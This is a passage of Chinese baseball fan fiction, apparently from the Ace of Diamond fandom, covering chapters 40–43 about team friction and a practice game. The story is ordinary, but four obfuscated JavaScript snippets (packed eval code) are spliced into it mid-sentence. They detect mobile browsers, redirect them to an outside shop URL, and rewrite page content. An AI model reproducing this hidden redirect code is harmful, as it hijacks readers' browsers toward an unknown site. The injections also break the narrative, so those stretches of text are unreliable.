反复高强度运动导致的肩膀肌腱二级损伤,需要至少12周修养复健。今年夏甲是绝对赶不上了,今年秋天的春甲预选赛能不能上场要看恢复情况。所以,今天晚上监督对队里说的,克里斯可能可以参加夏甲,完全是为了稳定军心。 三年级最后一年,他的确很想作为一军的正捕上场比赛,但是他并不想在克里斯受伤的情况下被推上这个位置。 没有堂堂正正地战胜学弟,一个水平有限的前辈因为学弟的伤“捡”到了上场的机会…… 近藤苦笑,他抬起头,看向不远处的千叶,平复一下心情继续问:“是国三的捕手帮你接捕的吗?” “算是吧。”千叶点头,“不过那时候快毕业了,他也没太有时间,大部分还是我自己对着接球网投的。” 千叶想起了给他接球的乾宪刚。那时快升学了,他在放学之后还要上补习班,每次只有很短一段时间可以练球,所以就把自己的球网带去了学校的棒球场,在那里练完球再去补习班,偶尔就会看到已经退部的乾在放学后过去帮学弟,他发现他在独自练球后,有时间就会主动帮他接捕。 “那把你的变速球投给我看看吧。” 千叶顿住脚步,忽然道:“近藤前辈你能接到吗?” “至少让我试一试啊,你这个嚣张的小鬼。”近藤抬起手套,目光淡然而坚定地看向面前的千叶,“来吧。” 40.谈话事件 小泉觉得自己跟御幸没什么话讲。 明明东才是队长,为什么现在东那个家伙自己跑了,却要让他当和事佬去调解刺头。 而且他根本不知道两个嚣张的后辈吵架,前辈应该做什么。他没有这个经验。 小泉很头疼,无论是他这一届,还是丹波那一届,都没有这么难搞的一年级。 就算是东、克里斯那样,刚一进队就很厉害的同期后辈,也没有像千叶和御幸这样天天吵架、天天惹前辈,吵到人尽皆知的刺头。 他们那个时候,除了自我介绍的时候有人爱放狠话,平常所有人都很老实。 他认识一年级不太多,因为一军跟二军的一年级不在一个训练场训练,没有见过几面,他除了他寝室那个,剩下的都不太熟。哦,他寝室的那个还整天想着谈恋爱,一回寝室就忙着给女同学发消息。 小泉:“……”他现在宁愿回去看室友恋爱脑,也不想面对眼前的御幸。 御幸算是他认识的一年级里比较熟悉的。因为御幸在春训刚开始不久就想着要接一军投手的球,这么一个积极、胆子也很大的后辈,他跟丹波都是很愿意让他接球的。但御幸的胆子好像过于大了,他会因为他的球控球不稳让他投准,丹波体力不好也会直接跟丹波讲要多训练,非常不客气。 丹波本来就心思重,被后辈这么直接批评,之后都躲着御幸了。他还好,虽然也觉得御幸这个一年级太嚣张了,想想东还被别的一年级凶,他就觉得御幸也没那么不尊重前辈了。 这里的“别的一年级”特指千叶一郎。 御幸比起千叶来还是好一点的。 小泉这么一想,心里顿觉安慰且抛下了些许负担。 投手总是比捕手问题多一点,捕手一般比投手成熟稳重一点,近藤还是更辛苦啊。小泉想。这都是近藤应该做的。 蓝黑色的天空上飘有片片乌云,月亮很大很明亮,把云层都染成了半透明的银灰色。明天或许是个晴朗的天气,可他的心情却怎么也晴朗不起来。 不远处,有几处成队挥棒的身影,球棒破空的声音在寂静的夜里格外清晰。 御幸正站在原地,看着跟在近藤后面离开的千叶,镜片反射着月光,让人看不清他眼底的情绪。 嗯,可能是因为好朋友投手被其他捕手带走了不爽吗? “千叶跟近藤走了,你也跟我聊聊吧。”小泉定了定神,尽量让自己的语气听起来平淡一些。 御幸的看了他一眼,镜片下深色的眼瞳神和神色同样很平静:“前辈想要谈什么?” ……不管怎么看,这个后辈都隐隐有点不高兴,看起来真的是因为千叶被近藤带走了生气啊。 小泉挠挠后脑勺,心里叹气。他真的不会哄人啊。 他已经是三年级了,原本有克里斯在,御幸应该没有机会跟他在比赛上配合,也不太会有更多的交际,允许御幸给他接球,完全是因为他作为一个前辈想回应后辈的请求,但现在就是出了意外,克里斯受伤了,他和御幸的交集变多了,连“带一年级捕手”这种麻烦事,都砸到了他头上了。 他是一个投手啊,后辈里丹波就已经让人很不放心了,现在还要多一个御幸吗? 如果克里斯没有受伤就好了。 小泉抛下心中的苦恼,定定心继续:“你是捕手,按理说应该是克里斯带你的,但不知道克里斯什么时候会归队,所以这段时间你先跟着我……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173119|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小泉看了眼还在沉默不语的学弟,心里更难办了,硬着头皮继续:“还有,监督说克里斯伤得不重,你也不用太担心了。我记得你给克里斯下过‘战书’,是吧?” “小泉前辈,”御幸忽然笑道,“如果不知道跟我聊什么的话,其实不用勉强自己跟我讲话。” “……哈?”小泉嘴角一抽。 御幸语气轻松道:“如果是因为我跟千叶之间的问题的话,那根本不算什么大事啦。我会解决的。” “……”小泉万万没想到,他做了一路的心理建设,居然得到这么个回答。 他深吸一口气,压下翻涌的情绪。心里开始谩骂东清国给他找的好差事。 小泉觉得自己真的从来没有这么想念过克里斯,带后辈果然比想象中还要让人头疼。 沉默几秒,小泉才正经开口:“你们的问题,你们自己解决最好。只是下次……别在食堂吵。” “我知道了。”御幸颔首,语气特别自然,“我会看好千叶。” “……”小泉张了张嘴,没说出来话。 “……”小泉顿了顿,又把嘴闭上了。 小泉没忍住吐槽:“其实每次都是你先去找他的吧?” “欸?有这回事吗?”御幸嘿嘿一笑挠头道。 “……”小泉心累极了,只能板起脸,无力地叮嘱一句,“有矛盾,别当着那么多人的面闹,影响不好。” “我知道了,前辈。”御幸眼镜反光,“下次我会找个没人的地方,跟他好好‘聊聊’。” “算了,你们要不还是在食堂吵吧。”小泉忽然改口道。 “欸?” “我怕你们在没人的地方不小心打起来了。” 41.变速球 近藤给千叶接球是为了第二天跑垒打击练习。 经过一晚上的训练,近藤已经能接到八成千叶投不准的球了,他甚至给千叶的控球做了排名,由准到拉,分别是四缝线直球、二缝线直球,变速球,滑球。 威力最大的是直球,千叶投得很准,调整适应一下接到没有难度。 最不好接的是滑球,千叶投得也最不准,控球到好球带边缘几乎全要凭运气。 近藤已经想好了,前半段时间他都配直球,尽可能给裁判留下好印象,扩大好球带,滑球只会在比赛后段配,零星几个就足够了,专门用来吓唬人,这样既能干扰打者,又避免了他可能接不到千叶的球出现的问题,一箭双雕。 至于唯二的可以算作变化球的变速球…… 接了千叶几个球的近藤摸摸下巴,歪头疑惑:“千叶,有没有人跟你说过你的变速球,好像,有点问题?” “没有。”千叶面无表情地拿着球,看上去非常不屑,“近藤前辈不要觉得接不到球,就说我的球有问题好不好。” “你以为我在跟你开玩笑吗?”近藤半月眼,从蹲捕的位置站起来,摘下捕手手套,平静道,“你的变速球跟四缝线直球的出球点的位置有点不同。正式比赛通常会有录像,我不知道在观赛区会不会录到,但是站在打击区,眼神比较好的打者绝对可以分辨出来。 你应该知道这意味着什么吧?” 千叶握紧了手中的球。 他当然知道这是什么意思。 打者会根据投手的动作来预测球的速度和旋转,所以除了速度和准确性,投手需要尽可能多地掌握各种变化球,以迷惑打者。 就像是变化球的种类中包括指叉球、曲球、滑球等,可以归类到变速球中的球种也有很多,大体上分为两种——曲球和其他变速球。 曲球就是丹波前辈的制胜球,转速高,变化幅度大,轨迹下坠,球速比直球慢,打者容易挥空或击中球的下部。 其他变速球向下细分包括变速球、变向球和指叉球等…… 他学会的变速球就是最常规的变速球。以指尖为支撑投球,球在出手后几乎不旋转,球路扭曲并伴有不规则晃动,使打者抓不住打击时机很难打中…… 所有的投手所能掌握的球种都是有限的。而变速球的练习最重要的就是保持节奏、动作的一致性。学习变速球的目的就是配合直球,形成速差,打乱打者的打击节奏、诱使打者挥空。 他的变速球不像丹波前辈的曲那样,变化幅度足够大,即使打者猜中也很判断击球点,这也意味着这种球如果在没有投出前就被打者识破,就毫无意义了。 …… 夜晚,单人床的菅田早已沉沉睡去,千叶又在上铺翻来覆去,只剩下下铺的丹波疲惫叹气。 丹波忍了一会,忍不住从床上爬起来,看上铺的千叶:“千叶,你睡不着吗?” “丹波前辈,”千叶坐起来,黑灯瞎火,丹波听他的语气似乎有点可怜兮兮,“我打扰你休息了吗?” “……”丹波不忍心批评刚跟朋友闹别扭的后辈,叮嘱道,“快睡吧,明天还要早起训练。” “好。”千叶又躺下了。 丹波闻言也重新回到床上,千叶这次没有再翻来覆去,直到他快睡着了,忽然又听到上铺的千叶正在叫他。 “丹波前辈,丹波前辈。” “……”丹波睁开眼,想不通学弟大晚上不睡觉在琢磨什么,“又怎么了?” “丹波前辈,曲球很难学吗?”千叶问。 “……你想学曲球吗?”被打扰休息的丹波有点不高兴,这是大晚上不睡觉跟他炫耀吗?炫耀变化球学得很快什么的。 “不太想。”千叶说,“我的滑球准度不行,变速球投得也有问题,所以我在想我是不是很笨。” 丹波叹了口气。 学习投球也是需要天赋的。比如球速,有的人天生肩膀很有力,投球很快;比如变化球,有的人天生球感很好,手指也很长很柔软,变化球就掌握得很快;再比如有的人是天生的大心脏,被打出去也不害怕……每个人的身体不同,心理素质不同,结果也就不一样。 千叶是因为没有同伴比较,所以不知道自己学得很快吗?真不知道是该生这家伙气,还是该可怜他。 “有问题的话就多练习吧,虽然打棒球天赋很重要,但有天赋不一定能打好棒球。”丹波翻了个身。 他听到上铺的千叶低低地应了一声。 …… 第二天,训练场。 日常的拉伸和体能训练结束后,千叶被通知今天要进行跑垒打击训练,所以现在在更衣室换衣服。 克里斯前辈只接过他的滑球,还没有来得及给克里斯前辈看他的变速球,克里斯前辈就离队了,所以队里接过他变速球的有三个人。 近藤前辈,小野,还有御幸。 小野因为比赛接球,过程中只顾着努力接到球,他也很尽力地把球投进小野手套,所以小野没有发现他变速球投球点跟直球不同。 但是,如果是御幸的话…… 千叶走出更衣室在休息区东张西望,找到了正在往自己身上套护甲的御幸。 “御幸。”千叶开口。 御幸侧头,千叶一脸平静地看着他。 这是昨天晚上闹别扭以来,他第一次正经叫他的名字。 “怎么了?”御幸侧头,同样若无其事地回应了他。 御幸表现得好像他们俩从来没吵过架,他也对他没有意见的样子。 但这可能吗? 千叶凭心自问,他肯定是做不到昨天才跟人吵架,今天就能若无其事地对面说话的。在开口叫御幸之前他都做好了御幸不理他的准备了。 但御幸回应他了,只是没有像以前那样笑。 可昨天御幸不是还想找我聊聊吗?我今天来找他聊了,他不该高兴地迎接我吗?这是什么表情?捕手应该这么对投手吗? 难道你跟你吵过架还要别人笑着回应你吗千叶一郎?不要太过分了。 千叶压下心中的焦躁心情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183799|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静多了:“你知道我的变速球有问题吗?” “欸?你居然发现发现了吗?”御幸挑眉,语气轻佻地拖长尾音。 “你知道?”千叶感觉压下的怒火蹭地又上来了,但他还是尽力语气平铺直叙,“那你为什么没有告诉我?” “你的变速球一看就是因为没有捕手给你接捕、你自己练习又看不到投球点位,所以出手点有问题,我原本打算跟你聊聊这些的,但前几天你不是心情不好一直不听我讲话嘛~”御幸终于笑了,但是是幸灾乐祸加大仇得报的笑,“啊啦,或许在你看来这些都不是特别大的事?我们的小天才,千叶同学?” 千叶:“……” “御幸一也!你就是故意的!”千叶愤怒地扑过去。 …… 在千叶叫他的名字时,他不太想理他来着。 御幸撅嘴想。 他也是有脾气的,莫名其妙朝他甩脸、不要他接球、还冷嘲热讽拒绝沟通,他当然也会生气啊。 都已经吵架了,这家伙现在居然又若无其事地过来找他,还不是想好好说话的样子,千叶这家伙真的很过分诶。 但是一会儿要训练,现在不理他,他一会儿投球会出问题吧。 所以他就勉为其然地应了他一下。 但他没想到千叶居然会问他的变速球有没有问题——他自己发现的吗?还是近藤前辈告诉他的? 御幸忽然觉得有点兴趣了。 千叶对着他投球的时候,因为想要练滑球的控球,所以投滑球的次数比较多,变速球也投过,不过每次投得都不太情愿。 他在第一次接千叶的变速球时就发现了,他投变速球时出手点对比四缝线直球会更低一点,但他当时以为是千叶没有认真投。直到红白赛时,他在投手丘上让小野接他的变速球时,他才确认千叶的投球确实出球点与直球不太一样。 虽然控制出球点难度比较大,但对千叶来说应该不是很困难的问题。 他从来没有遇到过千叶这样的投手,虽然有天份的投手们几乎各有各的难搞,但到底都是将投手丘、王牌看得很重要的投手,千叶的脑回路跟他们完全不同。 千叶完全不在乎“王牌”,似乎也不在乎投手丘。 御幸不太懂千叶对于“投手”这个位置是怎样的感情,如果对王牌和投手丘都没有执念,那他为什么要做投手呢? 打击时能猜中捕手的配球,意味着千叶是用脑子投球的投手的类型,可他站在投手丘上,却不会对捕手摇头,即使小野的配球经常被猜中。千叶没有让自己表现得更好的想法。 他印象里千叶有关投手的执念,只有他执着于让克里斯前辈给他接球。 为什么,因为千叶觉得克里斯前辈比他厉害?还是因为他跟克里斯前辈的关系比跟他更好? 都不是吧。这家伙这么奇怪肯定有原因吧,但猜不到是什么啊。——御幸在又一次被千叶扯着衣领甩来甩去的时候这样想。 “你们两个浑小子怎么又闹起来了!监督往这边看了啊!” 42.跑垒打击训练赛(1) 风吹了过来。 低着头周身一片仿佛冒着冷气的千叶,和头摆得很正、表情轻松但却一句话都没有讲的御幸,两个人站在面无表情的片冈监督面前。 虽然他们两个在被东前辈提醒后有所收敛,但他们俩打架,还是被监督看到了。 “你们两个,很闲很有时间么?”监督冷漠。 “没有。”站在监督面前的两人面无表情地异口同声。 “没有么?”监督声音更冷了,“那是什么问题让你们吵了三次架还没有解决,现在拿到训练里来?” 三次打架?监督是怎么知道的?千叶和御幸同时看向站在监督旁边的东清国。 刚刚把打架的学弟们压到监督面前的东清国一副事不关己的样子转过头,就差吹口哨。 休息区的准备的队员除了忙着准备一会儿的训练,也有几个的注意放了不远处站着挨训的两个身影上。 “那两个一年级的相处似乎很有意思嘛。”小凑着看着不远处的两个人,“啊,监督没有罚他们,真是奇怪。” 结成穿戴好胳膊上打击护具,闻言抬头,千叶跟御幸同行走过来。 “不知道他们的关系好还是坏。但这对投捕关系如果一直这么持续下去的话,监督不会让他们上场。”结成道。 “很快就会被赶回二军也说不定呢。”小凑微笑,“这里可不需要派不上用场的人。” …… 绿茵球场之上是称得上明艳的蓝天,蓝天的下面飘浮着几朵手掌大小似乎近在咫尺的云,周围弥漫着青草和泥土的气息。 明明已经是下午,怎么感觉太阳没有丝毫的移动呢? 站在投手丘上的千叶望着头顶。 “碰——碰——”千叶听到了自己对面捕手砸手套的声音,他的视线重新回到前方的本垒板。 第一棒打者前辈已经走到打击区,举起球棒准备好了。 前辈笑眯眯对他说:“千叶,好好投哦。” 千叶点头。他眼神从前辈的脸上移开。 一棒,二年级前辈,小凑亮介,身材矮小力气不大的右打者。 这位小凑前辈是个长得可爱的前辈,虽然跟他不太熟,没讲过话,但他挺喜欢这种长相又很温柔的男生的。 就是眼睛是眯眯眼,如果是大眼睛肯定会更可爱吧。 今天的跑垒打击练习不是比赛,也没有监督和助教当裁判,好球坏球是蹲在本垒的近藤前辈做判断,其实不需要他尽全力投球。 不过被可爱的前辈要求了要好好投,那就好好投出去吧。 “咻——” “嘭——” 近藤看了一眼笑眯眯目送球进到手套,手上没有丝毫动作的小凑,把球扔回给千叶,“坏球。” 千叶接住球,微微歪头。 这颗球他投得还行,投到了很靠近底线的位置了,没有骗到前辈出棒。 近藤前辈又给他比了一个坏球的暗号。 “咻——” 小凑前辈挥棒。 “嘭——” 球棒没有挥过半。 球再次落进手套。 蹲在本垒处的近藤挪了挪位置,侧头看了一眼缓缓把球棒收回来的打者。千叶这一球比上一颗投得更好,更靠近底线球速也更快,看起来没有受刚刚吵架的影响,这是好消息,但还是小凑还是没有出棒。 近藤抬起手把球扔回给千叶,淡然搭话:“很认真啊,小凑。” “当然了,难得来了一个左投练手,要好好把握机会呢。”小凑语气轻松地摆好打击姿势。 近藤举起手套没有说话。 从投球位置上讲,左投的球在右打者看来,是冲着自己的身体方向飞过来的,加上千叶球速又快,一般打者在刚接触他的球时肯定会相当不适应。红白赛上他看过千叶的表现,千叶淘汰的打者有一大半是因为不敢出棒被三振。 千叶也确实是小凑没有见过的投手的类型。但……小凑明显没有一点怕球的心啊。 接下来—— “好球。” “界外。” “坏球。” “界外。”…… 场上第一位打者就开始了缠斗。 休息区的明川慎手肘靠在围栏上对小泉说话:“近藤今天配球很激进啊。” 小泉点头:“小凑是能抓住投手开局不稳上垒的类型,近藤又没跟千叶正经搭档过,所以他应该很不想轻松把小凑送上一垒,造成一垒有人的局面。千叶是一年级,一垒有人很有可能会不稳定。” “可我们今天不就是打击跑垒练习吗?让打者打出去才是好事吧?”明川笑了两声,看着场上忽然有点惊讶,“——啊,小凑选中四坏上垒了,一年级看起来倒是挺冷静的,故意的么?” 小泉不置可否:“下一棒是菅田。” 场上,被小凑缠斗近十球的千叶,心情并不像表面那么平静。 这个粉头发前辈,可真难缠啊。千叶咬牙心想。 长得那么可爱,但打球却是狠辣的类型,明明是眯眯眼,选球却比很多大眼睛的打者更厉害。 可恶!他怎么就不想把我的球打出去呢。难道他要等我投得烦了投出甜球再把我轰出去吗? 千叶有点生气,又很快恢复平静。 但凡小凑前辈是想挥大棒长打,千叶都有把握让他上不了垒,可小凑前辈就是像戏耍他一样,内角外角都不打,只想着把他的球扫出界外,再这么投下去不知道还要纠缠多久,他跟近藤前辈都不想那么快把其他球种暴露给第一个打者,与其耗费精力体力out他,还不如及时止损送他上一垒。 但耗费的球数已经不少了啊。千叶不甘地想。 下一个打者是不怀好意的菅田前辈。 菅田腿下两脚叉开,伸手竖着抬起球棒,摆出一个帅气的姿势,冷笑一声:“千叶,尽管投过来吧,你最帅最厉害的菅田前辈肯定会赏你一发本垒打的。” “菅田前辈,随便吹牛皮做不到就让人笑掉大牙了,”千叶面无表情地把狠话放回去,“而且笑得太恶人了,丑。”顺带一不小心,人身攻击把心里话说出了。 “……丑?”菅田怒极反笑,“你完了,你小子,给我等着!” 听完千叶嘴炮菅田全过程的近藤:“……”这只是个练习啊千叶,你晚上还要跟菅田睡一个屋啊,不要命了! 近藤管教一下千叶试图稍微消灭点菅田的怒火:“千叶你尊重一下前辈啊,怎么可以说菅田丑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192371|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “哦,那我收回吧。”千叶无所谓地回应。 “晚了,小子我今天不把你打得满地找牙叫妈妈,我就一个人喝三瓶波子汽水!”菅田生气地摆好打击姿势。 近藤忽然又不担心了:“……菅田,你别既要又要行不行。” 千叶在投手丘上扫了一垒上的小凑一眼。 一军首发练习打击跑垒,所以垒上的守备都是一军的其他前辈和二军的前辈。不知道前辈们的防守如何,但目前从他的位置看,小凑前辈不怎么想盗垒。 是啊,毕竟我是左投,左撇子只有在防盗垒的时候才有那么点优势。千叶想。 右投手在出球时背对一垒,而左投投球时却是正面面对一垒,所以一垒的跑者更难分辨来自左投手的牵制球。 千叶不大喜欢牵制跑者,因为他觉得投手的任务就是好好投球,牵制跑者他投球就会分心,还不如让他们随便盗垒。 防盗垒什么的,都应该是捕手和守备的任务。要不然他整天积极向上地挑三拣四捕手、又忍受那么难看的队友还有什么意义? 当然,他也遇到过狂悖大胆赌他不会投牵制球的球的人,这样的人甚至有很多,不过小凑前辈非常识相。 他很满意。 千叶毫不犹豫地将手中的球掷了出去。 “咻——” “忽——” “嘭——”球砸进手套发出一声巨响,甚至仿佛冒出白烟。 “菅田你挥棒了,这一球是好球。”接到球的近藤侧头对旁边打击的菅田道。 “可恶的小子,”菅田咬牙切齿笑出来,“他刚刚绝对催球速了吧,你那臭接球水平亏你能接到啊。” “我接球也没差到连不怎么偏的直球也接不到吧。”近藤声音平淡,“不过他的球速确实比对小凑时快了不少,可能是你刚刚的挑衅起作用了。” “这个臭小鬼。”菅田嗤了一声,再次摆好了打击姿势。 千叶手指沾了沾镁粉包。 如果说,小凑前辈是他最羡慕的眼神好又有技巧的打者类型,虽然体格不行,看起来难以长打,肌耐力也不足的样子,但因为有一双好眼睛,所以可以稳定地发挥自己的技巧。 那么菅田前辈嘛,从刚刚近藤前辈骗他挥棒那一球看,他应该是会事先瞄准内角或者外角打的打者。事先选择球路进行打击,这是很常见的一种打击方式,大部分打者都是这样的类型,并不是说这样的打者不厉害,只是遇到的太多了,有些叫人提不起兴致,尤其是他还猜到了菅田前辈瞄准了哪个球、菅田前辈又没好看到能吸引他注意的前提下—— “咻——” “嘭——” “好球。” “咻——” “忽——” “嘭——” “……”菅田维持着打击姿势。 “菅田前辈,你挥棒了,你被三振出局了。”投出的球被近藤前辈接到的千叶站在歪头,宛如一个无情的播报机器。 休息区观战的明川擦擦额头冷汗,有点乐呵地问:“说真的小泉,有这么一个可爱的后辈跟你同一个位置会不会很开心呢?” “……”小泉非常冷漠地回答,“这事你还是问丹波吧。” 43.跑垒打击训练赛(2) 暖风吹得外野草皮轻轻起伏,内野的土地在阳光下泛着的浅棕黑色,休息区的栏杆被阳光晒得温热,空气里混着青草和旧皮革手套的味道。 队员们三三两两地倚在栏杆上,目光落在场地中央。 菅田气的脸红脖子粗地下场了。 上林一般不会嘲笑人,但这会儿出糗的菅田。 看着菅田狼狈又憋屈的脸,上林实在没忍住,语气揶揄道:“打得好啊,菅田。” “上林,你闭嘴。”走回休息区的菅田不爽地扯下手肘的护具。 场上,蹲在打击准备区的铃木健一郎一言不发站起来走到近藤旁边站定,随后缓缓迈开腿,球棒握得极靠下,摆好打击姿势。 近藤等了几秒,看了铃木一眼,忽然有点惊讶:“你们一个两个的都动真格啊。” “……”铃木精神极为集中,目光锁定投手丘上的千叶,没有分出半分眼神给本垒的近藤。 近藤:“……” 近藤无奈地摇摇头,朝千叶举起手套。 休息区旁,几位老师一片安静,片冈监督双手抱胸,目光锐利地落在千叶身上,忽然开口问道:“千叶这几次投球,球速怎么样?” 正埋首在记录册上记录数据的长谷川立刻停下笔,视线扫过密密麻麻的数据,立刻抬起头清晰汇报:“千叶刚刚的投球球速并不稳定,最开始面对小凑时,球速只有143km/h,后面几颗才慢慢涨到145km/h;菅田上场之后,球速基本稳定在147km/h。对比不久前他投球测试时的数据来看,他应该还没有刻意催速。” “这么说的话,千叶是开局发挥一般的类型?”太田部长侧过头,看向身旁的高岛老师与片冈监督。 高岛老师手里捧着另一本记录册,指尖翻动纸页,眉头微蹙:“他的投球总体来说是比较稳定的,不过球速在一开始的确起不来,红白赛上他上场第一局投球的球速也在145km/h以下。” “嗯。先看看吧。”监督道。 场上,千叶扔下镁粉包,白色的粉末在阳光下扬起一阵细碎的白雾。 他稍微侧头看向一垒,十几米开外的小凑前辈离垒稍微有点远,不知道这位前辈跑得快不快,他看上去倒是挺敏捷的,守二垒的话,反应应该也比较快,抓不到他吧。 小凑看他看过来,螃蟹步离垒稍微微近了点,一副笑眯眯的样子。千叶把头转回去,眼睛往一垒瞥,看到小凑前辈又挪着螃蟹步离垒远了很多。 千叶:“……” 按照棒球比赛规则,在投手做好准备投球动作时,有一秒钟左右的准备时间,经过专业的盗垒训练的打者会精确地抓住这个机会,进行盗垒。 虽然前辈你看起来很难抓,但至少要做一做被我吓到、被我威慑到的样子啊,要不要这么瞧不起我。 无语的千叶无语地向一垒扔了一个牵制球。 小凑轻松地扑回一垒,摁着垒包爬起来,然后又开始离垒。 千叶:“……” 千叶把视线从一垒上挪到本垒处,他毫不犹豫地就下定了不再牵制跑者的决心。 我可是投手,我得准备投球。千叶想。他举起手套摆好了投球姿势。 打击区的铃木前辈是一个除了气质很憨厚、在长相上没有任何特点的前辈,打击姿势也平平无奇没有压迫感,球棒握得很长,没有挥短棒的打算。 近藤前辈给出了好球带内角直球的暗号。这个意思是他认为小凑前辈不会盗垒。 千叶举手投球,就在这时—— “盗垒!”守备的前辈大声道,与此同时,三棒憨厚老实、站姿沉稳的铃木前辈,握棒的手瞬间一滑,由长握猛地改成短打姿势。 ‘不好——上当了。’近藤猛地侧头。 你们真的会来这一招啊,能打到球再说吧。千叶面不改色,一个球扔出去。 “梆——”球与球棒碰撞打出清脆的响声。 千叶嘴角往下一撇,脸马上拉答下来了。 铃木已经扔下球棒往一垒跑去。 被球棒点中的球溜溜跑,不偏不倚又令人生气地停在一垒界内边界旁,位置刁钻至极。小凑借着盗垒的启动优势,轻轻松松踏过二垒垒包,留在了二垒;铃木则在跑到一半时,被捡球的一垒手伸手触杀出局。 铃木前辈嘿嘿两声,拿着自己的球棒往休息区跑。 近藤瞪着往回跑的铃木,十分不满:“搞什么啊,跟后辈练习居然还搞战术,输不起吗?” “练习就是实战,近藤你技不如人可不能怪我。”铃木回头憨厚地笑道,又看向投手丘的千叶,向他竖起大拇指,“千叶投得不错,继续保持。” 千叶:“……”这是讽刺吧。这绝对是讽刺吧!我的球刚才才被前辈你点出去了啊。 “哈哈哈哈哈!千叶,你也有今天!”下一个上场的四棒东前辈笑得很开心,“你肯定觉得铃木点不好你的球吧,他可是我们三年级里点球最厉害的!这就是自大的下场!” 我才没有这么托大!千叶撅着嘴想。 他的球确实很少会被人点到,但真的被点到了也没什么,他生气的点在于他投球时确实因为小凑前辈的盗垒分神了,虽然只有一瞬间。 但在比赛时,一瞬间的分神就足以分出胜负了。 这么容易被人上到二垒,千叶还在生气,他一生气就容易控制不住自己的本性,又被东嘲笑,一下就怒气冲到脑门开始大喊:“东前辈你好啰嗦!长得难看还啰嗦肯定交不到女朋友!” “你说什么?!”僵在原地的东不敢置信。 近藤:“……”千叶你明天就要离队不干了吗?这么不尊重前辈真的可以吗? 二垒的小凑擦擦头顶的冷汗,休息区的前辈们笑开了,尤其是菅田,笑得直锤栏杆:“东,你这个前辈真是做的……一点威严都没有!” “东,看起来千叶确实对你的脸很有意见啊!”小泉双手在嘴边合成喇叭,幸灾乐祸地向东清国喊道。 “东,你可是前辈,要大人有大量,一定要给可爱的学弟点颜色看看!不然就白被嘲笑了!”明川慎更是看热闹不嫌事大地蹿火。 东脸涨得通红,大肚子一起一伏:“你们都给我闭嘴啊!” 御幸跟丹波正在牛棚练习,听到场上的热闹,御幸忍不住笑出来,丹波放下手中的球也侧头看向场上。 千叶准备投球了。 丹波把头扭回来看着御幸:“你还接球吗?你想看的话现在就可以过去。” “欸?”御幸惊讶了一下,摇摇头头,“不过去了,过去也轮不到我上场,还是练习吧,丹波前辈你也更想练习吧?” “既然练习的话,那就专心一点。”丹波语气生硬道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204355|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……好。”御幸收回笑容。 面前的四棒是等着给千叶一个教训的东清国,东前辈。 好球带的范围大概是从东前辈的肚子到他的膝盖。 本垒板处,无语且担心的近藤前辈给他比了下一球的暗号。 其实千叶刚把说东前辈丑的话说出口,心里就有点后悔了。虽然他说的肯定是心里话说不定还是大实话,但因为难看没有女朋友也太伤人自尊心了。他还希望打击厉害的东前辈能在比赛的时候给他守备,如果惹东前辈生气了,他守备的时候不会不信任他的球吧?不会一边守一边心里骂他菜吧?东前辈看起来不大会记仇,应该不会在比赛的故意坑他,而且也不会揍他…… 欸,那好像得罪东前辈没有什么后果啊。 千叶歪头想。 心里忽然就没有了负担了。 他顺利地把球投了出去—— “呼——”东前辈的球棒擦着球,刮起一阵飓风。 千叶站在投手丘上清晰地听得到那骇人的声响。 “啊,差一点,没打中。”东哈哈笑了两声,“千叶,你得投得再快一点,否则下球一定——”他的球棒指向千叶,非常嚣张,“轰出去。” “东前辈,你废话太多了。”千叶冷淡地举起手。 我现在心态不好。如果因为东前辈的挑衅就想使劲投球催球速,说不定会投成大暴投。 但是我又不想这么便宜他。千叶想。 所以—— 千叶对本垒的给他比直球暗号的近藤摇了摇头。 近藤:“……” “唉。”近藤深深地叹了口气。 行吧。虽然这是第一局、虽然千叶是被东给挑衅到了,但……反正这是个练习赛。 心累的近藤给千叶比了一个暗号。 千叶抬着下巴,傲娇地微微一点头,表示近藤前辈很上道。 “咻——” “呼——”东瞄准了球猛地一挥棒——“欸?” “嘭——” 